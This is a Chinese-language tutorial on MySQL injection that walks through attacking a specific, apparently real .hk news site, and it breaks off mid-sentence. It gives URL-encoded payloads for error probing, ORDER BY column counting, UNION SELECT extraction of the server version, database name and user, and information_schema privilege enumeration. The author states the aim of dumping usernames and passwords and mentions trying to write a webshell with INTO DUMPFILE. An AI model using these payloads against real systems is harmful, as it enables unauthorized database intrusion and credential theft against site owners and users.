怎样注入MySQl教程解说.docVIP

怎样注入MySQl教程解说 　mysql是一种开放源代码的关系型数据库管理系统（rdbms），mysql数据库系统使用最常用的数据库管理语言--结构化查询语言（sql）进行数据库管理。对一个指定站点的注入实例教程。目标站点：.hk/注入点：.hk/newsDetail.php?id 53首先，获得信息，加一个单引号提交.hk/newsDetail.php?id 53’返回如下信息，You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \ at line 1从 这个错误信息可以判断2点，第一，使用的是MySQL数据库，第二，magic_quotes_gpc设置为on或者使用了addslashes 函 数，使得单引号被转换为\.但前者的可能性较大。继续，这里要查看一下数据库版本，这个很重要，后面会解释，提交 .hk /newsDetail.php?id 53%20and%201 2%20union%20select%20@@version，返回如下错误：The used SELECT statements have a different number of columns看 来是select的列数不匹配，这个用order by来解决，提交.hk /newsDetail.php?id 53%20order%20by%2019返回正常，提交http: //.hk/newsDetail.php?id 53%20order%20by%2020返回Unknown column 20 in order clause，既然列数是19，继续提交.hk /newsDetail.php?id -1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 返回有2，14，6几个字符 这里我把id改成了-1，省去写and 1 2 ，把14改成 select @@version 提交.hk /newsDetail.php?id -1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13, select%20@@version ,15,16,17,18,19，返回 5.0.67-community 版本知道了，看看数据库名，把@@version换成database 提交，返回babydaily_dhost，同样，获得当前数据库连接用户名 babydaily_dhost@localhost，查看MySQL用户名，提交.hk /newsDetail.php?id -1%20union%20all%20select%201, select%20user%20from%20mysql.user ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 返回SELECT command denied to user babydaily_dhost@localhost for table user，命令被拒绝执行，看来权限不够，如果不是administrator权限，数据库的表名是无法查看的，但是从5.0版本之后，mysql5 比之前增加的系统数据库information_schema的结构，它是用来存储数据库系统信息的，这也就是之前为什么要查看数据库版本的原因了，利用 这个结构，可以查看数据库一些详细的信息，比如，查看一下当前用户的权限，提交.hk /newsDetail.php?id -1%20union%20all%20select%201,grantee,3,4,5,privilege_type,7,8,9,10,11,12,13,is_grantable,15,16,17,18,19%20from%20information_schema.user_privileges返回：babydaily_dhost@localhostNOUSAGE可 以看到权限是相当的小，这样，loadfile 函数也没法用，本来想select 一句话 into dumpfile 这里也可以换成outfile，但是outfile出来的文件查看的话会包含一些特殊字符，或者省略一些字符 ，但是弄了几次，总是出 现语法错误，还是老老实实的select用户名和密码吧，但是目前表名，字段一个都不知道，幸好有这个information_schema结构，这里简 单介绍下这个结构：+————————